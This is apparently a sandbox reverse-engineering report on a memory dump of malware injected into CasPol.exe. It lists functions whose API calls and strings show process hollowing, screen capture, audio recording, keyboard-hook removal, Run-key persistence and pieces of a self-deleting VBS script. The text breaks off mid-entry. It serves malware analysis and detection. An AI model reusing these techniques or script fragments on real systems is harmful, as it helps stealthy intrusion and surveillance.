                                                                                    Function 004510BA Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,00000000,?,0043B955,00000000,00000000), ref: 00446EC3
                                                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F37
                                                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446F1E
                                                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F2B
                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0045110E
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLast$_free$InfoLocale_abort
                                                                                    • String ID:
                                                                                    • API String ID: 1663032902-0
                                                                                    • Opcode ID: 9286f156abac91c7ed9d9ee6f3e5b08bc3c26a4b89b9db52a82557d4143127a2
                                                                                    • Instruction ID: 725ff80feb3504da526bb6f16fdbe645276de1ecdd37ac2f1e7666d8a95350e0
                                                                                    • Opcode Fuzzy Hash: 9286f156abac91c7ed9d9ee6f3e5b08bc3c26a4b89b9db52a82557d4143127a2
                                                                                    • Instruction Fuzzy Hash: 2D21B332500606ABDB249A25DC46B7B73A8EB09316F1041BBFE01C6252EB79DD48CB99
                                                                                    Function 004512EA Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,00000000,?,0043B955,00000000,00000000), ref: 00446EC3
                                                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F37
                                                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                    • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00451088,00000000,00000000,?), ref: 00451316
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLast$InfoLocale_abort_free
                                                                                    • String ID:
                                                                                    • API String ID: 2692324296-0
                                                                                    • Opcode ID: b6b1206c8d774c000a1b4b507e47eef55c4aaf57ff81984432bbf3fd36f42e7a
                                                                                    • Instruction ID: 964a9937ac5a020d26487979adcc3deadbef587b10f76395f6381cc8137ce6dd
                                                                                    • Opcode Fuzzy Hash: b6b1206c8d774c000a1b4b507e47eef55c4aaf57ff81984432bbf3fd36f42e7a
                                                                                    • Instruction Fuzzy Hash: 10F07D32500111BBEB286A25CC16BFF7758EB00716F15046BEC06A3651FA38FD49C6D4
                                                                                    Function 004470AE Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00444ACC: EnterCriticalSection.KERNEL32(-00471558,?,0044225B,00000000,0046DAC0,0000000C,00442216,0000000A,?,?,00448739,0000000A,?,00446F74,00000001,00000364), ref: 00444ADB
                                                                                    • EnumSystemLocalesW.KERNEL32(00447068,00000001,0046DC48,0000000C), ref: 004470E6
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CriticalEnterEnumLocalesSectionSystem
                                                                                    • String ID:
                                                                                    • API String ID: 1272433827-0
                                                                                    • Opcode ID: 294c88a1965c44704c377604ff0a5917817e93c6b6b84f866ad5a3c5a2dedf6a
                                                                                    • Instruction ID: 877f7ae5c491a2fbf36f534f7b8138893028b6a81f24f5c3744eb9f6a7677366
                                                                                    • Opcode Fuzzy Hash: 294c88a1965c44704c377604ff0a5917817e93c6b6b84f866ad5a3c5a2dedf6a
                                                                                    • Instruction Fuzzy Hash: F6F04932A10200EFEB04EF68E806B4D77B0EB44725F10816AF414DB2E2DB7889818B49
                                                                                    Function 00450CF7 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,00000000,?,0043B955,00000000,00000000), ref: 00446EC3
                                                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F37
                                                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                    • EnumSystemLocalesW.KERNEL32(00450C4E,00000001,?,?,?,004514B9,<D,?,?,?,?,?,00443CEC,?,?,?), ref: 00450D2E
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                    • String ID:
                                                                                    • API String ID: 1084509184-0
                                                                                    • Opcode ID: 8c2bccbfd0fc102635c006ca31f830fd57f68f19690e6c985b1f52cdbb333b18
                                                                                    • Instruction ID: ec648f77c102ae861fabd43d141f98194b25f4d0b1f390d0839222eb7000fb0b
                                                                                    • Opcode Fuzzy Hash: 8c2bccbfd0fc102635c006ca31f830fd57f68f19690e6c985b1f52cdbb333b18
                                                                                    • Instruction Fuzzy Hash: CBF05C3D30020557CB159F35D81576B7F94EFC2711B07405AFE098B381C239D846C754
                                                                                    Function 0040E679 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,004145AD,00473EE8,00474A10,00473EE8,00000000,00473EE8,?,00473EE8,5.3.0 Pro), ref: 0040E68D
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: InfoLocale
                                                                                    • String ID:
                                                                                    • API String ID: 2299586839-0
                                                                                    • Opcode ID: cfd0bc145c26702e1739b42b90775f026f17fa5d8f36fb20b32d05d25c771de3
                                                                                    • Instruction ID: fdf89a5244b67fc368892e36cd71d3b7bc7b33248e42f87f25a9228cb5794c84
                                                                                    • Opcode Fuzzy Hash: cfd0bc145c26702e1739b42b90775f026f17fa5d8f36fb20b32d05d25c771de3
                                                                                    • Instruction Fuzzy Hash: E6D05E607002197BEA109291DC0AE9B7A9CE700B66F000165BA01E72C0E9A0AF008AE1
                                                                                    Function 0044E92E Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: HeapProcess
                                                                                    • String ID:
                                                                                    • API String ID: 54951025-0
                                                                                    • Opcode ID: c4eeb5daf7d20212f04cf1a35fe49476965deb7007d4ee0647dc212291e34da0
                                                                                    • Instruction ID: 9504a653bcf427532d5064532c05f1d04939bb5561e35e6535c2a7eba45b7a60
                                                                                    • Opcode Fuzzy Hash: c4eeb5daf7d20212f04cf1a35fe49476965deb7007d4ee0647dc212291e34da0
                                                                                    • Instruction Fuzzy Hash: 84A00270506201CB57404F756F0525937D9654559170580755409C5571D62585905615
                                                                                    Function 00417F9F Relevance: 51.1, APIs: 28, Strings: 1, Instructions: 324windowmemoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00417FB9
                                                                                    • CreateCompatibleDC.GDI32(00000000), ref: 00417FC4
                                                                                      • Part of subcall function 00418452: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00418482
                                                                                    • CreateCompatibleBitmap.GDI32(?,00000000), ref: 00418045
                                                                                    • DeleteDC.GDI32(?), ref: 0041805D
                                                                                    • DeleteDC.GDI32(00000000), ref: 00418060
                                                                                    • SelectObject.GDI32(00000000,00000000), ref: 0041806B
                                                                                    • StretchBlt.GDI32(00000000,00000000,00000000,00000000,?,?,?,?,00000000,?,00CC0020), ref: 00418093
                                                                                    • GetIconInfo.USER32 ref: 004180CB
                                                                                    • DeleteObject.GDI32(?), ref: 004180FA
                                                                                    • DeleteObject.GDI32(?), ref: 00418107
                                                                                    • DrawIcon.USER32(00000000,?,?,?), ref: 00418114
                                                                                    • BitBlt.GDI32(00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00660046), ref: 00418144
                                                                                    • GetObjectA.GDI32(?,00000018,?), ref: 00418173
                                                                                    • LocalAlloc.KERNEL32(00000040,00000028), ref: 004181BC
                                                                                    • LocalAlloc.KERNEL32(00000040,00000001), ref: 004181DF
                                                                                    • GlobalAlloc.KERNEL32(00000000,?), ref: 00418248
                                                                                    • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0041826B
                                                                                    • DeleteDC.GDI32(?), ref: 0041827F
                                                                                    • DeleteDC.GDI32(00000000), ref: 00418282
                                                                                    • DeleteObject.GDI32(00000000), ref: 00418285
                                                                                    • GlobalFree.KERNEL32(00CC0020), ref: 00418290
                                                                                    • DeleteObject.GDI32(00000000), ref: 00418344
                                                                                    • GlobalFree.KERNEL32(?), ref: 0041834B
                                                                                    • DeleteDC.GDI32(?), ref: 0041835B
                                                                                    • DeleteDC.GDI32(00000000), ref: 00418366
                                                                                    • DeleteDC.GDI32(?), ref: 00418398
                                                                                    • DeleteDC.GDI32(00000000), ref: 0041839B
                                                                                    • DeleteObject.GDI32(?), ref: 004183A1
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Delete$Object$AllocCreateGlobal$CompatibleFreeIconLocal$BitmapBitsDisplayDrawEnumInfoSelectSettingsStretch
                                                                                    • String ID: DISPLAY
                                                                                    • API String ID: 1765752176-865373369
                                                                                    • Opcode ID: 54e54478d3a93c6a48e505b633be5783707cf85144324253bebfee7b4c7dea2f
                                                                                    • Instruction ID: f05cd178694609e891ba83f5bdf02bb76ea447df34f4969275af8919d08089d1
                                                                                    • Opcode Fuzzy Hash: 54e54478d3a93c6a48e505b633be5783707cf85144324253bebfee7b4c7dea2f
                                                                                    • Instruction Fuzzy Hash: 12C17C31508345AFD3209F25DC44BABBBE9FF88751F04082EF989932A1DB34E945CB5A
                                                                                    Function 00417245 Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 290libraryloaderthreadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 0041728C
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041728F
                                                                                    • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 004172A0
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 004172A3
                                                                                    • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 004172B4
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 004172B7
                                                                                    • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 004172C8
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 004172CB
                                                                                    • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 0041736C
                                                                                    • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00417384
                                                                                    • GetThreadContext.KERNEL32(?,00000000), ref: 0041739A
                                                                                    • ReadProcessMemory.KERNEL32 ref: 004173C0
                                                                                    • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00417440
                                                                                    • TerminateProcess.KERNEL32(?,00000000), ref: 00417454
                                                                                    • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 0041748B
                                                                                    • WriteProcessMemory.KERNEL32 ref: 00417558
                                                                                    • SetThreadContext.KERNEL32(?,00000000), ref: 00417575
                                                                                    • ResumeThread.KERNEL32(?), ref: 00417582
                                                                                    • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041759A
                                                                                    • GetCurrentProcess.KERNEL32(?), ref: 004175A5
                                                                                    • TerminateProcess.KERNEL32(?,00000000), ref: 004175BF
                                                                                    • GetLastError.KERNEL32 ref: 004175C7
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                                                                                    • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                                                                                    • API String ID: 4188446516-3035715614
                                                                                    • Opcode ID: 42c1c999d1834e7e824fdbb4d1330a48ff0e689257c4ebc4fb7692fa9ae4ea32
                                                                                    • Instruction ID: f03761d26bac9a2bfb1ad98f85ac7da09ef0bd98ba300517d6d91d37beebd467
                                                                                    • Opcode Fuzzy Hash: 42c1c999d1834e7e824fdbb4d1330a48ff0e689257c4ebc4fb7692fa9ae4ea32
                                                                                    • Instruction Fuzzy Hash: EEA17C71508304AFD7209F65DC45B6B7BF9FF48345F00082AF689C2661E775E984CB6A
                                                                                    Function 004112B5 Relevance: 43.9, APIs: 17, Strings: 8, Instructions: 189synchronizationsleepfileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateMutexA.KERNEL32(00000000,00000001,00000000,004742F8,?,00000000), ref: 004112D4
                                                                                    • ExitProcess.KERNEL32 ref: 0041151D
                                                                                      • Part of subcall function 0041265D: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,00000000), ref: 00412679
                                                                                      • Part of subcall function 0041265D: RegQueryValueExA.ADVAPI32 ref: 00412692
                                                                                      • Part of subcall function 0041265D: RegCloseKey.ADVAPI32(00000000), ref: 0041269D
                                                                                      • Part of subcall function 0041B61A: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041B633
                                                                                    • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041135B
                                                                                    • OpenProcess.KERNEL32(00100000,00000000,T@,?,?,?,?,00000000), ref: 0041136A
                                                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,00000000), ref: 00411375
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 0041137C
                                                                                    • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000), ref: 00411382
                                                                                      • Part of subcall function 004127D5: RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 004127E3
                                                                                      • Part of subcall function 004127D5: RegSetValueExA.KERNEL32(TUF,000000AF,00000000,00000004,00000001,00000004), ref: 004127FE
                                                                                      • Part of subcall function 004127D5: RegCloseKey.KERNEL32(?), ref: 00412809
                                                                                    • PathFileExistsW.SHLWAPI(?), ref: 004113B3
                                                                                    • GetTempPathW.KERNEL32(00000104,?), ref: 0041140F
                                                                                    • GetTempFileNameW.KERNEL32(?,temp_,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00411429
                                                                                    • lstrcatW.KERNEL32(?,.exe,?,?,?,?,?,?,?,00000000), ref: 0041143B
                                                                                      • Part of subcall function 0041B58F: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,0040A009,?,00000000,00000000), ref: 0041B5EB
                                                                                      • Part of subcall function 0041B58F: WriteFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000), ref: 0041B5FF
                                                                                      • Part of subcall function 0041B58F: CloseHandle.KERNELBASE(00000000), ref: 0041B60C
                                                                                    • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00411483
                                                                                    • Sleep.KERNEL32(000001F4,?,?,?,?,00000000), ref: 004114C4
                                                                                    • OpenProcess.KERNEL32(00100000,00000000,?,?,?,?,?,00000000), ref: 004114D9
                                                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,00000000), ref: 004114E4
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 004114EB
                                                                                    • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000), ref: 004114F1
                                                                                      • Part of subcall function 0041B58F: CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041B5CE
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$CloseCreateProcess$HandleOpen$CurrentObjectPathSingleTempValueWait$ExecuteExistsExitMutexNamePointerQueryShellSleepWritelstrcat
                                                                                    • String ID: .exe$0DG$@CG$T@$WDH$exepath$open$temp_
                                                                                    • API String ID: 4250697656-2665858469
                                                                                    • Opcode ID: 03a34ccbb1719861567300b1fb31a781f765c9736e7961dcb0677a4d0e3d5b11
                                                                                    • Instruction ID: b1cd6038c3dd2fca16f1d1fb39a824579eeb1b45f376adef666059b0b2e54ae4
                                                                                    • Opcode Fuzzy Hash: 03a34ccbb1719861567300b1fb31a781f765c9736e7961dcb0677a4d0e3d5b11
                                                                                    • Instruction Fuzzy Hash: D751B671A043156BDB00A7A0AC49EFE736D9B44715F1041BBF905A72D2EF7C8E828A9D
                                                                                    Function 0040C28E Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 282registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00411699: TerminateProcess.KERNEL32(00000000,pth_unenc,0040E670), ref: 004116A9
                                                                                      • Part of subcall function 00411699: WaitForSingleObject.KERNEL32(000000FF), ref: 004116BC
                                                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040C38B
                                                                                    • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040C39E
                                                                                    • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040C3B7
                                                                                    • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040C3E7
                                                                                      • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(Function_000099A9,00000000,004742F8,pth_unenc,0040BF26,004742E0,004742F8,?,pth_unenc), ref: 0040AFC9
                                                                                      • Part of subcall function 0040AFBA: UnhookWindowsHookEx.USER32 ref: 0040AFD5
                                                                                      • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(Function_00009993,00000000,?,pth_unenc), ref: 0040AFE3
                                                                                      • Part of subcall function 0041B58F: CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041B5CE
                                                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00465900,00465900,00000000), ref: 0040C632
                                                                                    • ExitProcess.KERNEL32 ref: 0040C63E
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                                                    • String ID: """, 0$")$@CG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$`=G$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                                                                                    • API String ID: 1861856835-3168347843
                                                                                    • Opcode ID: 409babfc3f9b08b074d448c79d47c1e2609d1484c5e5d0d3969d76ee1aa606fb
                                                                                    • Instruction ID: c8b5e11b4abf5c95f8ab28b2bb359051ef64700817c412cd349ec45860bdb676
                                                                                    • Opcode Fuzzy Hash: 409babfc3f9b08b074d448c79d47c1e2609d1484c5e5d0d3969d76ee1aa606fb
                                                                                    • Instruction Fuzzy Hash: EB9175316042005AC314FB25D852ABF7799AF91718F10453FF98A631E2EF7CAD49C69E
                                                                                    Function 0040BF04 Relevance: 40.5, APIs: 6, Strings: 17, Instructions: 260registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00411699: TerminateProcess.KERNEL32(00000000,pth_unenc,0040E670), ref: 004116A9
                                                                                      • Part of subcall function 00411699: WaitForSingleObject.KERNEL32(000000FF), ref: 004116BC
                                                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004742F8,?,pth_unenc), ref: 0040C013
                                                                                    • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040C026
                                                                                    • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004742F8,?,pth_unenc), ref: 0040C056
                                                                                    • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004742F8,?,pth_unenc), ref: 0040C065
                                                                                      • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(Function_000099A9,00000000,004742F8,pth_unenc,0040BF26,004742E0,004742F8,?,pth_unenc), ref: 0040AFC9
                                                                                      • Part of subcall function 0040AFBA: UnhookWindowsHookEx.USER32 ref: 0040AFD5
                                                                                      • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(Function_00009993,00000000,?,pth_unenc), ref: 0040AFE3
                                                                                      • Part of subcall function 0041AB38: GetCurrentProcessId.KERNEL32(00000000,7570D4DF,00000000,?,?,?,?,00465900,0040C07B,.vbs,?,?,?,?,?,004742F8), ref: 0041AB5F
                                                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00465900,00465900,00000000), ref: 0040C280
                                                                                    • ExitProcess.KERNEL32 ref: 0040C287
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                                                    • String ID: ")$.vbs$@CG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$`=G$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$pth_unenc$wend$while fso.FileExists("
                                                                                    • API String ID: 3797177996-1998216422
                                                                                    • Opcode ID: fb087b58bfc3a3b2b8260ca2d682e14f903258253ee2e6fe22ab8b926fdeca3f
                                                                                    • Instruction ID: 1063ce1f4075510d90626cdc8b34ac690c3cf2dc76fa2c9c3337a4c1feab76e8
                                                                                    • Opcode Fuzzy Hash: fb087b58bfc3a3b2b8260ca2d682e14f903258253ee2e6fe22ab8b926fdeca3f
                                                                                    • Instruction Fuzzy Hash: B78191316042005BC315FB21D862ABF77A9ABD1308F10453FF586A71E2EF7CAD49869E
                                                                                    Function 0041A1BB Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041A2B2
                                                                                    • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041A2C6
                                                                                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,00465554), ref: 0041A2EE
                                                                                    • PathFileExistsW.SHLWAPI(00000000), ref: 0041A2FF
                                                                                    • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041A340
                                                                                    • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041A358
                                                                                    • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041A36D
                                                                                    • SetEvent.KERNEL32 ref: 0041A38A
                                                                                    • WaitForSingleObject.KERNEL32(000001F4), ref: 0041A39B
                                                                                    • CloseHandle.KERNEL32 ref: 0041A3AB
                                                                                    • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041A3CD
                                                                                    • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041A3D7
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                                                                                    • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$>G
                                                                                    • API String ID: 738084811-1408154895
                                                                                    • Opcode ID: 8cf0e19f8ce88e8d7cb937eb39cd8d73a713176ac88778056ef84971429f9c19
                                                                                    • Instruction ID: 9d48d6c6e0579c1e833a8367b0d02802659df9f73890df0c3e8ff2b6504ede8e
                                                                                    • Opcode Fuzzy Hash: 8cf0e19f8ce88e8d7cb937eb39cd8d73a713176ac88778056ef84971429f9c19
                                                                                    • Instruction Fuzzy Hash: 9A51C2712443056AD214BB31DC82EBF3B5CEB91758F10043FF455A21E2EE389D9986AF
                                                                                    Function 00401BE8 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401C54
                                                                                    • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401C7E
                                                                                    • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401C8E
                                                                                    • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401C9E
                                                                                    • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401CAE
                                                                                    • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401CBE
                                                                                    • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401CCF
                                                                                    • WriteFile.KERNEL32(00000000,00471B02,00000002,00000000,00000000), ref: 00401CE0
                                                                                    • WriteFile.KERNEL32(00000000,00471B04,00000004,00000000,00000000), ref: 00401CF0
                                                                                    • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401D00
                                                                                    • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401D11
                                                                                    • WriteFile.KERNEL32(00000000,00471B0E,00000002,00000000,00000000), ref: 00401D22
                                                                                    • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401D32
                                                                                    • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401D42
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$Write$Create
